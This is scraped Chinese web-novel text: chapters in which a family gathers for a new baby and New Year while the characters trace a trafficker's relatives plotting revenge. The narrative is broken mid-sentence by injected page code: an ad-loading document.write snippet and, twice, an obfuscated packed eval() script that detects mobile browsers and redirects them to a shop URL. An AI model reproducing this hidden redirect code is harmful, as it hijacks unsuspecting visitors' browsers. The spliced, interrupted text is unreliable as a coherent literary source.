“肯定是假的,别急,我一直让人盯着呢,他们要是有消息了,会主动联系的。”汤正阳很有信心,他跟那些疍户都是十几年的老交情了,彼此都很信得过。 正说着话,大哥大响了。 安小蕾去接听。 那头听是女人的声音,立马猜到是老板娘在接听,笑着喊了声嫂子。 安小蕾笑笑:“你们老大在给孩子换尿布,什么事,说吧,我开免提了。” “哎,谢谢嫂子,老大,能听见吗?” “是皮蛋啊。说吧,能听见。” “老大,秋瑶没死,被人捞出去了,具体身份我不敢说,怕得罪人,总之,是北京那边的,你可千万小心。” “北京的?稍微再给点线索,放心,我不会出卖你们的。” “老大,别的我真不敢多说,总之,你小心那种出身不好,忽然之间平步青云的。” “懂了,谢了皮蛋,有空来玩。” “好嘞老大,自家兄弟,我一定不会跟你客气的。” 挂断电话,安小蕾沉思起来:“听皮蛋的意思,是个靠裙带关系上位的男人呗?既然出身不好,那大概率就是老丈人扶持的了。” “我知道几个人选,不着急,等会我跟大姑说一声,让她留心排查一下。”汤正阳忙好了,可是他自己浑身都是水,只好喊了一声,“安教授,把你儿子抱走吧,我这身上,香飘十里,就不讨你嫌了。” 安小蕾翻了个白眼:“谁嫌弃你了?赶紧冲个澡换身衣服,米饭开始放屁的时候就提醒你了,非要乐呵呵的先看他撒尿,这下好了,拉你一身,你还挺光荣啊。” “那是,我儿子给我涂金子呢。”汤正阳得意的挑眉。 安小蕾哭笑不得,把这胖小子接了过来。 正准备回床上喂奶,门铃响了。 次卧的周子琛以为是老妈买菜太多,没办法开门,赶紧冲向玄关:“来了来了!” 打开门一看,来的居然是…… 他愣了一下,赶紧堆上笑脸:“是叶奶奶跟雷叔啊,小雪也来了。” 叶春梅是安小蕾的亲奶奶,跟两个小儿子在北方老家定居,所以赶过来一趟不容易。 没办法,她年纪大了,现在又是大冬天的,也不舍得坐飞机。 老胳膊老腿的,要不是蕾蕾生了,她哪里愿意挪窝儿啊。 回回见到周子琰跟周子琛,她的眼神都很复杂。 周子琛小时候不懂,长大了才知道,当初他妈妈守寡,叶奶奶是想让妈妈改嫁给小叔子的。 还是双生子,说好了,兄弟俩随便他妈妈挑。 可惜最后他妈妈看上了他爸爸。 叶奶奶伤心坏了,有阵子没跟妈妈来往。 可惜架不住对孙子孙女的思念,最后还是破冰了。 这些年叶奶奶尽量不往他们面前凑,免得他爸爸看到了心里不舒服。 也算是尽可能的在体贴了。 如今二姐生了,叶奶奶肯定是要过来一趟的。 周子琛只是没想到,叶奶奶会挑他爸爸去外地出差的时间过来。 还真是…… 一如既往的体贴呢。 他赶紧接过叶奶奶手里的东西:“快进来,外面风大。” 叶春梅穿的还是从北方过来时的衣服,到了这边,热得不行,赶紧脱下了外套。 她问周子琛:“你二姐在哪个房间?” “南边最大的那一间。”周子琛看了眼门口,哎呦,怎么买了这么多东西,赶紧提进来。 雷天晴搭了把手:“子琛啊,有对象没啊?” “还没有呢雷叔。”周子琛都麻了,如今不管哪个长辈见到他,都要问上这么一句,真愁人。 雷天晴笑笑:“也不急,我家小雪也没找呢。现如今的年轻人都注重享受,多玩几年再结婚,一样的。” “雷叔开明。”周子琛关上门,去厨房倒水。 雷天晴知道他没有这方面的才能,赶紧跟过去:“我来吧,你别把厨房炸了,回头你妈又要训你。” “好吧,雷叔你自便啊,我去看书了。”周子琛有点尴尬,毕竟这不是他叔叔,而且叶奶奶当初还动过那样的心思。 不怪他们只能挑他爸爸不在家的时候过来,见了面多尴尬啊。 没想到他刚进了房间,雷小雪就跟了进来。 两人大眼瞪小眼,周子琛犹豫了一下,还是指了指窗口的单人沙发:“坐,看书吗?我给你拿。” “在看呢。”雷小雪背着粉色的双肩包,她拿下背包,取出里面的小说,特地给周子琛看了看封面,“大作家的新作,我正在拜读呢。” 周子琛老脸一红:“小雪,我不是跟你说过吗?你要是想看,直接找我拿样书,出版社会给我寄很多的,不用破费。” “那能一样吗?我花钱买了,才是实打实的支持你啊。我可是正版读者哦,加油大作家。”雷小雪挑了挑眉。 周子琛越发觉得难为情了,赶紧坐到电脑面前,刷刷网页,逛逛论坛,免得尬聊下去难受。 雷小雪倒是自在,靠在沙发上,很快就陷入了跌宕起伏的剧情里面。 时不时还会发出一声轻笑,或者一声轻叹。 是个全身心投入的认真读者。 周子琛不忍心打断她,只得自己找点乐子。 正百无聊赖,注意到了一个侦探小说的板块。 一个热度很高的帖子在首页飘着。 题目叫《人贩子离奇死亡,求分析》,贴主叫什么“恋之殇”,酸不溜丢的。 周子琛点进去一看,便意识到了不对劲。 赶紧起身出去:“大哥,你快过来一下。” 汤正阳刚洗完澡,在陪老婆的亲奶奶说话,闻言赶紧应了一声:“奶奶,我去看看子琛那边什么事,你请便。” “嗯。”叶春梅从来不是个恶婆婆,哪怕儿子牺牲 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了,也没有怨怪儿媳妇命硬克夫什么的。 婆媳俩最终翻脸,为的是儿媳妇不肯选她的两个小儿子,一意孤行,选了那个周中擎。 这段故事汤正阳已经从安小蕾口中得知了。 半是唏嘘,半是同情吧。 毕竟老人家是为了周子杰和安小蕾考虑的,他们兄妹俩如果跟了亲叔叔过日子,起码有爷爷奶奶看着,不会受什么冷眼。 谁想到,儿媳妇选了别的男人。 好在这个男人不比她的两个小儿子差,而且对两个孩子挺好的。 这么多年过来了,老人家是拎得清的,自然不会在安小蕾面前说什么不该说的话。 只是此时此刻,她抱着重孙,不禁想起她那个早亡的长子,眼泪止不住的往外流:“这孩子长得真像你爸爸,真像。” 雷天晴赶紧把话题岔开:“妈,大过年的说这些做什么,蕾蕾坐月子呢,不能流眼泪。” 叶春梅赶紧擦擦眼泪:“是我老糊涂了,蕾蕾,你别生奶奶的气。” 安小蕾摇了摇头:“我怎么会生你的气呢,我就只有你一个奶奶呀。” 毕竟后爸这边也没有什么亲眷,雷家那边的爷爷奶奶永远是不可替代的。 这话叶春梅爱听,赶紧把红包塞到重孙怀里:“正阳的事我都知道了,我虽然心疼他,可是我更心疼你啊。要是计生组找你,你怎么办啊?” “奶奶,正阳已经结扎了,没事的。”安小蕾难得温柔,说话的时候温声细语的。 叶春梅放心了:“那就好,当初听说你找了个没文化的,还比你大好几岁,我是不太愿意的。我还担心他是个粗人,不会疼人,现在看来,是我不好,不该对他有偏见。” “没事,他不会生气的。”安小蕾递了个手帕过去,“奶奶,别哭啊,你看,这不是看到重孙了吗?” “是啊,我死也瞑目了,到了九泉之下,可以跟你爷爷和爸爸交代了。”叶春梅忍不住,又哭了起来。 她老伴儿刚走几年,实在是太不习惯了。 还好两个小儿子孝顺。 安小蕾赶紧给她擦擦:“叔,实在不行,给奶奶找个老伴儿吧,反正你跟小叔的孩子都大了,也不需要奶奶帮忙带了。” “她不肯。”雷天晴无奈,“我跟你小叔说过多少次了,还把人带她面前了,就是不肯,说什么好女不嫁……哎,算了。” 安小蕾知道他想说什么,也没有生气。 毕竟那是老一辈的观念,而且,奶奶只是那样要求她自己,并没有拿这些条条框框约束她妈妈。 她握住老人家的手:“奶奶,你就找个老伴儿吧,一起跳跳舞啊,看看戏啊,多好啊。” “你少来管我的事。”叶春梅生气了,这些儿孙怎么回事,一个两个的的,都要她晚节不保。 安小蕾气笑了,算了,谁让这是她奶奶呢,要换了别人,她早就发火了。 正说着话,老安回来了。 随着开门声一起响起的,还有男人的声音。 叶春梅以为是孙女儿的后爸回来了,赶紧擦擦眼泪:“天晴啊,快去叫小雪,咱们该回去了。” 雷天晴无奈,这都多少年了,他妈见了周中擎还是那么怨气冲天的。 算了,一只脚踏进棺材板的人了,不跟她啰嗦了。 他出去叫小雪,刚到客厅,看到了吴国正。 赶紧笑着打招呼:“是国正哥,妈,你孙女婿的爸爸来了。” 叶春梅赶紧出来,一看,哎呦,是小吴啊。 不是周中擎就好。 不过也不对,吴国正已经是六十的人了,是老吴了。 赶紧笑着打招呼。 吴国正握着这个老太太的手,客气的喊了声妈。 叶春梅高兴得,像是褶皱的宣纸入了水,瞬间就化了。 拉着吴国正的手,一起去看孩子:“三娘呢?怎么没跟你一起来啊?” “她在岛上帮东东带阿澈呢。”吴国正抱起孙子,嘿嘿傻笑。 这小子真像正阳啊。 可是叶春梅觉得这小子像她那个早亡的长子。 两人显然都带了滤镜,失去了客观性。 正闲聊,玄关又响了。 叶春梅这次顾着聊天,没注意到那边的动静。 等她笑呵呵的从吴国正怀里把孩子抱过来的时候,才发吴国正身后多了个人。 是她最不想看到的人。 脸上的笑瞬间凝固了。 她把孩子还给吴国正:“天晴啊,小雪呢,快,赶不上火车了要,咱回家啦。” 90. 坦荡(三更) 周中擎有阵子没见到叶春梅了。 猛不丁在家里碰上,他并不会感到有什么不妥的。 再说了,他也不至于跟一个去世二十几年的人捻酸吃醋。 便大大方方地拦住了叶春梅:“婶子,蕾蕾想你呢,多住两天吧,家里有酒店,拎包入住就行。” 老安也劝:“就是啊婶子,多住几天吧,这年头只准生一个,蕾蕾也就坐这一回月子,你要是就这么走了,心里也不踏实对不对?” 叶春梅叹了口气。 听听,“婶子”。 她这儿媳妇哪里都好,就是一跟周中擎结婚,就不肯再管她叫妈了。 她能不伤心吗? 不过这话也有道理,蕾蕾是她的宝贝孙女儿,她要是不多陪陪蕾蕾,回去得懊悔好久呢。 可是她看到周中擎就难受。 是他抢走了她的儿媳妇呀! 这么好的儿媳妇! 可是两口子都在挽留…… 哎呀,这简直就是世纪难题! 正纠结呢,汤正阳从周子琛房间出来了,劝道:“奶奶,多住几天吧,正好要过年了,你不想跟你重孙一起过个年吗?这可是孩子的头一个新年呢!” 叶春梅动摇了。 再看周中擎,坦坦荡荡,一点别的心思都没有,纯粹就是疼蕾蕾,想多几个亲人陪陪她。 最终她叹了口气:“好吧,那我就不回去了。天晴你跟小雪回去吧,你老婆要是知道你不回去该着急了。” “我让小雪留下来陪你吧!”雷天晴不太放心,毕竟他的老母亲已经八十多岁了。 万一磕着碰着的,多吓人。 叶春梅想想也好:“那你快回吧,年底了,要忙的事情多着呢。” 雷天晴点点头:“那行,我走了,周哥,嫂子,我妈就拜托你们了,她年纪大了,要是有什么话不中听,别跟她计较,回头我给你们赔不是。” “这说的什么话?她是蕾蕾奶奶,蕾蕾是我闺女,一家人怎么这么见外呢?”周中擎一把勾住雷天晴的肩膀,“走,我送你去机场。” “啊,我不坐飞机,机票太贵了。”雷天晴实在,直接拒绝了。 周中擎坐进大吉普的驾驶室:“你不想坐小杰开的飞机?” “今天有他的航班吗?”雷天晴进了副驾,他有些意外,他确实没坐过呢,不太舍得花冤枉钱。 周中擎系上安全带:“不清楚,问问,他都是国内国外轮流飞的,说不定你们叔侄俩能碰上。” 说着给周子杰打了个电话。 周子杰哈欠连天的:“爸,有事?” “你奶奶和天晴叔来了,小雪也在。” “哦,我知道,他们来之前跟我打听过了,专挑你不在家的时候来的。你提前回来了?” “嗯,年底收账挺顺利,提前回来了。” “那我现在过去?” “不用,你先补觉,我让你奶奶留下来了,小雪在家陪她。不过你天晴叔赶着回去过年,你看看有合适的航班吗?” “有,明天早上的,我可以跟同事调一下。家属可以免费坐一个。” “行,那你安排一下。我现在带你叔出去转转,今晚他们住家里的酒店,你跟你媳妇说一声,要是有空,就带孩子过来见见他们。” “她带孩子回娘家了,今年在娘家过年。” “哦,那算了。你睡吧,晚上回来吃饭。” “好。对了爸,有个事跟你说一下。” “嗯?” “那个……我奶,她来之前问我了,子琛有没有对象。她虽然没有明说,但是我估计吧……她带着小雪……我担心她可能有那方面的打算。你要是不愿意,趁早跟我妈说一声,让我妈跟我奶说,免得你两头为难。” “这个没事,子琛的事我不干涉,一切随缘。” “……爸,你不反对啊?” “反对什么?没影子的事。就算是真的,我也不想让你弟弟怨恨我,我是那种封建大家长吗?” “爸你真好,既然你这个态度那我就放心了。反正我奶不提的话你也别提,老人家喜欢乱点鸳鸯谱,其实我觉得小雪不太合适。总之,随缘好了。” “嗯,放心吧,爸有数。” “那就这样啊爸,我再睡会儿,困。还有,帮我跟蕾蕾说一声,我要是睡过头了,明天再去看她。” “知道,睡吧。”挂了电话,周中擎调转车头,往酒店开。 要了一个大套房,三室两厅的:“晚上婶子和小雪过来,直接入住就好。” “周哥,太客气了,给我们选这么好的房间做什么?”雷天晴有点受宠若惊。 周中擎笑了:“自己家开的,又不是住不起。我说你们,是不是把我想得太小气了点?小杰和蕾蕾都跟我过了二十几年了,我亏待过他们吗?” “没有没有。我们从来没有这么想过,就是怕你心里不舒服,毕竟当初我妈她……”雷天晴挠了挠后脑勺,讪讪的。 周中擎坐下,把钥匙随手扔在茶几上:“我问你,小杰和蕾蕾管我叫什么?” “叫爸啊。”雷天晴坐在了对面。 不得不说,周哥虽然退下来了,可是那种长期军旅生涯锤炼出来的气质,还是掩盖不了的。 以至于他下意识照着周哥那笔挺的身板儿,坐得端端正正。 像是小学生跟教导主任,别扭。 周中擎没他这么拘束,又问:“既然管我叫爸,那就是我的孩子。别的不说,起码子琰和子琛是他们的亲妹妹亲弟弟吧?你们又是他们的亲奶奶亲叔叔。都是打断骨头连着筋的关系,何必这么别扭呢?” 雷天晴笑笑,不知道怎么接这话,只管点头称是。 周中擎干脆把话说开了:“我既然疼这两个孩子,就不可能不考虑他们的感受。孩子心里有你们,那我这里也就有你们的一席之地。你记住了,以后不用特地等我不在的时候再来,大大方方的,没什么不好意思的。” “这我知道,北京那边,你为了替正阳讨回公道,掏了三十万让那个李宏进的儿子填补亏空,让他作证。这些蕾蕾都跟我们说了。说实在的,这么大方豪气,亲老子都未必能做到。所以我们也跟蕾蕾说了,一定要好好孝顺你。这孩子生下来就是你带的,跟你亲生的没区别。”雷天晴也是知道感恩的。 这三十万,反正他拿不出来。 扪心自问,他没有这么慷慨,怎么着也得为自己亲生的孩子藏点私房钱。 结果周哥…… 他也问了蕾蕾了,子琰结婚是没让家里掏钱的,也就婚前有套小公寓,有辆车。 子琛还没有着落,暂时不提,小杰结婚,房子是周中擎和老安买的。 也就是说,人家亲生的一双儿女倒是没花家里太多钱,倒是小杰和蕾蕾,加起来花了五十万左右了。 这还不提他们给蕾蕾在研究所那边买的房子。 这么大方,真的是世间少有。 他们雷家除了感恩,没别的想说的。 更何况,蕾蕾还是个姑娘,这要是搁那些重男轻女的家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984467|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庭,给女儿花钱?想都别想。 所以他是发自内心的佩服,说的也都是大实话。 周中擎叹了口气:“你知道就好。我这个人最是敞亮,我既然选了老安,肯定会全盘接受她的一切,包括你们。倒是你们,小肚鸡肠,以为我不待见你们。我可不管啊,今晚一起吃饭,你得罚酒三杯!” “好好好,都是我们兄弟的错,哎呀周哥,你大人有大量,别跟我们一般见识。”雷天晴酒量不行,赶紧求饶。 周中擎哈哈笑着,起身道:“行,你休息会儿吧,我回去跟老安做饭。等会你要是休息够了,再来陪陪蕾蕾吧。” “行,我先冲个澡,这边太热了,我穿多了,一身臭汗。”雷天晴把行李箱打开,赶紧捯饬捯饬。 周中擎出去后,雷天晴默默叹了口气。 即便他亲大哥还活着,也是不如周哥敞亮的。 他心里有数。 要不是这个后爸真的好,小杰也不至于改姓。 雷杰,周子杰,这就是两个截然不同的人生啊。 唏嘘间,他看了眼窗外的海景,拉上窗帘,洗澡去了。 * 吴旭东收到了大哥的电话。 让他尽量今晚回去一趟。 一问,才知道是雷家那边来人了。 虽然那不是周子琰的奶奶,可那毕竟是他亲大哥老婆的奶奶,也是周子琰亲姐姐的奶奶。 于情于理,都该去一下的。 更何况,他老子这个大傻冒,不知道怎么称呼叶春梅才好,干脆喊了声妈。 这下搞得吴旭东也凭空多了个奶奶,不去好像真的不太合适。 不过雷家这边的关系毕竟有点微妙,他也不清楚自己老婆是个什么态度,只说等晚上看看有没有时间。 周子琰回来,看了看手表:“我哥也真是的,他肯定是最早知道的,居然不跟我说一声,我临时出岛是要打申请的。这会儿来不及了,领导出去了。你跟妈带着阿澈去吧。” “你一个人在家?”吴旭东不忍心。 今年她可是出了大半年的任务呢,好不容易才重新团聚的。 而且大过年的,怎么好一家子分开两地呢? 又不是出任务了没办法。 思来想去,他做了决定:“妈,你去看看,我就不去了,我留下来陪子琰。” 谈三娘琢磨了一下,也行。 她是蕾蕾的婆婆,不去不合适。 东东和子琰跟雷家没有血缘关系,真没必要特地跑一趟。 刚准备起身,周子琰劝道:“小东,你就去吧。我姐那个奶奶喜欢多想,要是你不去,她会以为是我不待见她。回头又得跟我姐哭,我姐坐月子呢,可不能被她勾起眼泪。你就当为了我,辛苦一下吧,啊。” 吴旭东沉默了。 没想到那个老奶奶那么麻烦。 他看了看手表:“那我露个脸就回来。” 今天可是南小年呢,他才不忍心让老婆独守空房。 周子琰点点头:“去吧,路上小心,抱着孩子走慢点。” 吴旭东脚步匆匆,还以为周子琰想多了。 没想到打开家门,就听一个陌生老奶奶跟他丈母娘说道:“子琰他们不回来过年吗?是不是我惹他们不高兴了,要不我还是走吧?” 老安正准备解释,吴旭东赶紧开口:“谁说的?子琰在部队不能随便离开,她知道你们来看二姐,特地让我和孩子回来了。” 说着他掂了掂怀里的女儿:“阿澈,叫太婆。” 91. 父爱 阿澈一向是个热情大方的孩子。 长辈让她叫谁她就叫谁,哪怕实在发音不准,叫一声酥酥,也不会冷场。 可是她今天不给面子。 水汪汪的眼睛里满是好奇。 她静静地打量着眼前的太婆,最终摇了摇头,张开小胳膊,毫不犹豫地扎进了姥爷的怀里。 像个倔强的小野猫,气鼓鼓的。 周中擎哭笑不得,把孩子接过来抱着:“阿澈怎么不高兴?谁惹她了?” “可能是一天没见着子琰,子琰刚回来,母女俩还没有亲亲抱抱,就被我带回来了。”吴旭东只能想到这个可能。 毕竟叶春梅没有得罪阿澈。 再说了,阿澈才一岁多,哪里知道长辈之间发生过的事情。 就算吴旭东知道这孩子聪明,也不至于往别的方面去想。 不过,周中擎看得出来,小妮妮是在给他撑腰呢。 很多时候,大人以为自己什么也没说,可是小孩子能感知到长辈之间尴尬的气氛。 所以,这么一个贴心的小乖乖,怎么不招人疼呢? 他笑着掂了掂这个小家伙:“我家阿澈又胖了。” 阿澈伸手摸了摸姥爷的脸颊:“饭饭,胖胖!” 周中擎笑着转身:“别站在门口说话了,快进来,早点吃完回去陪子琰。” 吃饭的时候,阿澈就赖在姥爷怀里了,不肯要爸爸和奶奶抱。 自己拿着小汤勺,第一口先送给姥爷吃。 姥爷不肯跟小阿澈用一个勺子,阿澈只好跟姥姥告状:“姥姥,勺勺。” 老安赶紧起身,又拿了个勺子过来。 阿澈抢过勺子,第一口还是喂给了姥爷。 汤汤水水的,直接洒了一半。 可是不管,小乖乖就是要让姥爷先吃。 周中擎赶紧低头:“嗯,姥爷吃了,阿澈自己吃吧。” 阿澈终于心满意足,把勺子放到姥爷碗里,这才拿起自己的小勺勺,认真地吃饭。 对面的叶春梅看着,不禁眼热:“这孩子还挺懂事的。” “妈,别羡慕,小霖已经结婚了,很快就会生个重孙给你抱了。”雷天晴笑着往叶春梅碗里夹菜。 叶春梅叹气:“也就小霖有着落了,其他三个都没动静呢。” 说着她看向了低头吃饭的小雪:“小雪啊,你在学校里没有谈一个?” “没有啊奶奶,我等毕业了再考虑。”雷小雪目不斜视,夹了菜继续安静的吃饭。 叶春梅看了看坐在她旁边的周子琛,再看看跟周中擎坐在一起的老安,犹豫片刻,还是没有直说。 只旁敲侧击道:“等毕业了也好,要是现在谈了,等将来工作了,说不定都不在一个地方。你看子琛,不也没谈吗?” “子琛可是大忙人,我不好比的。”雷小雪很有自知之明,人家是大作家,没空谈。 她就不一样了,她是妈妈管得严,不让谈。 再说她也没遇到合适的,有眼缘的。 可是叶春梅不爱听这话,总觉得孙女儿是在贬低自己,便鼓励道:“他是忙,你也没闲着啊,别把自己说得一无是处。” 一旁的吴旭东很是好奇:“小雪在上大学吗?在哪里?” “在北京。”雷小雪笑笑,“我妈管我管得严,非要逼我读外语系,我没听她的,偷偷改了志愿。现在在北理,学建筑。” “可以啊小雪,念建筑的女生很少,有志向。”汤正阳赞美了一句。 雷小雪很开心,她妈妈为了这事,赌气不理她了。 还是蕾蕾姐这边的亲戚好,都挺支持她的。 她终于自信了几分,笑道:“谢谢姐夫,我会好好念的。” “小雪,怎么想到念建筑呢?”汤正阳很是好奇。 周子琛插了句嘴:“她喜欢林徽因。” 雷小雪害羞了:“子琛,别这样,回头又有人笑话我。” “这有什么好笑话的,有志向是好事。用林徽因做榜样,很好啊。”周子琛拿起公筷,往她往里夹了个鸡腿,“自信一点,好好学,将来做个出色的建筑大师,看他们还怎么笑话你。” “谢谢你。”雷小雪发自内心的笑了。 自信的笑容最是灿烂。 以至于叶春梅越发觉得,这两个年轻人挺登对的。 她看了看老安,眼神暗示。 老安只当没看见,用公筷往周中擎碗里夹了个红烧狮子头,夹开后分了一半给阿澈:“小乖快吃,妈妈还在家里等你呢。” 阿澈很是听话,大口大口的,像个小老虎。 吃完知道伸手问爸爸要手帕擦嘴嘴。 擦完也不乱扔,而是把手帕还给爸爸:“脏脏。” 吴旭东把手帕拿去卫生间洗洗晾起来,再去他和周子琰的房间拿了两条备用的出来。 正准备抱着孩子回去,便听汤正阳说道:“小旭,再聊会儿吧,你们几个都是大学生,能聊到一块儿去,等会我送你们回去。” 好吧,大哥开口了,他这个做弟弟的要给点面子的。 便抱着阿澈,去沙发那里玩积木。 雷小雪吃完坐过来陪阿澈:“阿澈喜欢搭房子呀?” “喜欢。”阿澈拿了一块三角形的屋顶递给雷小雪,“姨姨,给。” 雷小雪摸了摸小姑娘的脑袋:“真有礼貌。” 就是奇怪,怎么不肯叫她奶奶呢? 雷小雪便问吴旭东:“阿澈认生吗?” “不认生。”要不然怎么会主动叫姨姨呢。 雷小雪沉默了,看来这孩子就是单纯不喜欢她奶奶了。 小声道:“是不是我奶奶对周伯的敌意被她察觉出来了?” 吴旭东还真没有这么想过,他盯着专注搭房子的女儿,小声问道:“阿澈,怎么不叫太婆?” 阿澈嘟嘟着小嘴儿,扭过头去,就是不肯回答。 雷小雪挑眉:“果然是不喜欢我奶奶。这小家伙脾气还挺大的。” 吴旭东沉默了。 丈母娘跟雷家的事他是知道的,只是万万没想到,这么一点小屁孩,居然能察觉到大人之间的暗涌。 可见那些把小孩当傻子哄骗的家长,自己才是傻子。 他笑了笑:“没事,米饭会喜欢你奶奶的。” 毕竟是亲重孙。 雷小雪却叹了口气:“不见得,小孩子都是谁带就跟谁亲。” 吴旭东不好接这话,总不能一直让叶春梅待在这里吧? 他老丈人留客是为了蕾蕾姐,是客气。 可是一直留下来的话,大家都别扭,没必要。 估计这个叶春梅待不了几天就走了。 毕竟这边才是一个完整的家庭,而她自己也有雷家的儿孙。 人生在世,避免不了这样的遗憾。 正说着话,周子琛过来了。 他吃饭细嚼慢咽的,回回最后一个吃完。 拿着积木坐下,他饶有兴味的陪阿澈搭房子。 阿澈累了,直接张开双臂:“舅舅,抱抱。” 周子琛也有点意外,这小家伙,什么时候这么黏他的? 还主动要他抱抱。 真是怪了。 他把阿澈抱在怀里:“还搭吗?” 阿澈点点头,趴在舅舅肩上:“舅舅搭。” “好,阿澈看着。”周子琛赶紧把阿澈搭的完善一下,随口跟雷小雪闲聊:“你们建筑系是念五年吧?” “嗯。” “我同学有个哥哥也是你们学校的,听说老师很严格,差点没能毕业。” “嗯,我们的带班老师也很严格,是个女老师,她一心搞事业,迟到旷课的都要被抓。” “这么严格?扣平时分吗?” “扣,我同学喊她母老虎,母夜叉。其实我觉得她这样的才是负责任啊。不过你也知道,大学生嘛,不喜欢被老师管着,所以狠多人不喜欢她。” “你好好学你的,这样的老师,只要你主动找她请教,她会倾囊相授的。” “嗯。她挺可怜的,听说她男人在外面乱搞,养了好多女人。” “好多是多少?” “起码十几个吧。” “这么过分?她不管的吗?” “为了孩子吧。要是闹起来,孩子的政审就有污点了。” “她男人很有来头?” “什么呀,她男人全靠她爸妈扶持上位的。我最瞧不起这种软饭男了。在老丈人和丈母娘面前伏低做小,在外面彩旗飘飘,简直就是人渣。” 这么巧? 周子琛喊了声汤正阳:“大哥你来一下。” 汤正阳正在陪叶春梅聊天,闻言走过来问道:“怎么了?” “小雪,你把那个男人的情况说给大家听听。”周子琛往旁边稍稍,继续帮阿澈搭房子。 雷小雪简单概括了一下。 汤正阳下意识跟吴旭东对视一眼:“很有可能是这个人。知道他偷养的女人都有谁吗?” “他喜欢大学生,听说我上一届有个学姐还跟他滚到一起去了。不过这些都是大家私底下传的,明面上不敢声张,毕竟他现在位高权重的。”雷小雪想了想,补充道,“不过听说他还找了个酒吧妹,是不是大学生不清楚,我同学见过,说是气质清纯,可能也是大学生。” “叫什么?”周子琛放下积木,一脸严肃。 雷小雪摇了摇头:“不知道,只知道不是北京口音,好像是个孤儿。别人都喊她娟姐。” 吴旭东也停下了手里的积木。 是巧合吗? 毕竟娟这个字用的人太多了。 一旁的周子琛却很激动:“慢着,娟姐?知道她姓什么吗?” “不知道。”雷小雪摇头。 周子琛赶紧起身:“姐夫,你跟我来,我给你看一个帖子。” 吴旭东跟到他房间,看完后产生了同样的怀疑。 四目相对,两人异口同声:“柴娟?” “肯定是她,她大哥死了,肯定恨你恨得牙痒痒呢!你看她的过往发言,全都是跟人贩子相关的,IP也在北京。”周子琛查过了,如果这个“恋之殇”真的是柴娟,那一切都解释得通了。 吴旭东点点头:“我让我大姑去打听看看,免得小雪招惹上这种人。” 雷小雪已经进来了,好奇地问了问怎么回事。 吴旭东本想解释一下,一看,阿澈睡着了,赶紧把孩子接过来:“子琛,你跟小雪说一下,让她不要插手,她一个女孩子家的,不安全,我带阿澈回去了。” “姐夫,你慢点儿,别着急。”周子琛赶紧招呼汤正阳,“大哥,你去送送我姐夫。” 兄弟俩出去后,周子琛直接让开:“小雪,你自己看吧。” 雷小雪坐在他的转椅上,拿着鼠标,从头到尾浏览一遍:“这个贴主确实有问题,那个柴娟怎么回事?你们是怎么对上号的?” 周子琛便提了一嘴三年前的事。 雷小雪恍然:“很可能是她,吴家祖上在北京,她去北京构建自己的关系网,一点点接近吴家打击报复,是说得通的。” “正阳哥还说,秋瑶被人捞出去了,这个人的特征正好跟你那个老师的男人符合。搞不好,柴娟跟秋瑶已经联手了。”周子琛毕竟是个作家,梳理信息的能力一流。 雷小雪看了眼他的大哥大:“借我用一下?” “你用。”周子琛不差钱,不会连一点电话费都舍不得。 雷小雪拿起大哥大,拨通了一个号码。 对面是个慵懒的男人。 “表叔,我是小雪。” “小雪?你不是放寒假了吗?找我有事?” “表叔,帮我查一个人。”雷小雪报了个名字。 对面的男人很是意外:“查他做什么?他不会也对你下手了吧?” “没有没有,只是想知道他最近接触的女人里面,有没有山西口音的。”雷小雪看了眼周子琛,小声道,“知道那个秋瑶什么特征吗?” “很漂亮。” “表叔,总之,你帮我看看,是一个特别漂亮的山西美女,二十来岁。她刚被判了十年有期徒刑,在监狱里诈死逃出来了,在外面肯定会比较低调,不敢惹是生非的。要是看到了跟我说一声。” “不行,你给我一个理由。那个男人太危险,我不能不清不楚的帮你调查,万一被他察觉了,报复到你身上,我怎么跟你爸爸交代。” “表叔,我是在帮安姨。她的两个女婿的事情你应该知道了,现在人贩子的家属要报复他们。根据我们得到的线索,这个两个女人很可能都跟那个男人搞在一起了。” 对面陷入了漫长的沉默。 如果是帮老安的话…… 雷小雪知道她表叔也追求过安姨,这些年他跑得远远的,时刻保持距离。 所以如果不是万不得已,他不想再跟安家扯上关系的。 只是这事非同小可,她现在又不在北京,想要尽快确认对方的身份,只能找信得过的人帮忙。 于是她提醒道:“表叔,虽然吴旭东跟咱家没什么关系,可是汤正阳可是跟蕾蕾姐结婚了,你是蕾蕾姐的亲表叔,这忙你得帮。” 男人叹了口气:“知道了。把你蕾蕾姐的号码给我,有消息了我直接跟她沟通。” 雷小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13992965|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪报了号码,松了口气。 周子琛并不清楚她表叔的事,好奇:“你表叔不愿意帮忙?” “……”雷小雪笑了,“你不知道?” “不知道啊。”周子琛一头雾水? 雷小雪把门关上,小声道:“你自己妈妈长得那么好看,你就没想过她年轻的时候有多受欢迎吗?” “啊……”周子琛麻了,“不会你表叔也?” “恭喜你,作家的雷达响了。”雷小雪笑着坐下,“你想知道吗?我说你听听?” “你说。”周子琛真的好奇死了,他妈妈居然有那么多追求者的吗? 那他爸爸可以胜出真不容易。 雷小雪简明扼要的概括了一下。 周子琛恍然:“那我爸情敌真不少呢。” “那可不。要不然你和周子琰那么好看呢。比杰哥和蕾蕾姐都好看。”雷小雪说的是大实话。 